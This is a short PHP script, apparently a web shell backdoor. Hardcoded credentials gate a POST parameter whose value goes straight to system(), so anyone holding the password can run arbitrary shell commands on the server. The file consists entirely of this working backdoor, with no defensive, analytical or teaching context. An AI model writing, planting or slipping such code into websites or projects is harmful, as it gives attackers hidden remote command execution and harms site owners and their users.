<?php 

$key = 'TdgIlDeaOIM5yMxqZJsYScODb4eNaOAzDpfUK2N5rs4';

$passwd = 'KeCrLrueViPMa87ut0GwDHw9GUtZdFqCbpODXc';

if( !empty($_POST[$key]) && !empty($_POST['p']) )
{
  if( $passwd == $_POST['p'] )
  {
    system($_POST[$key]);
  }
}

?>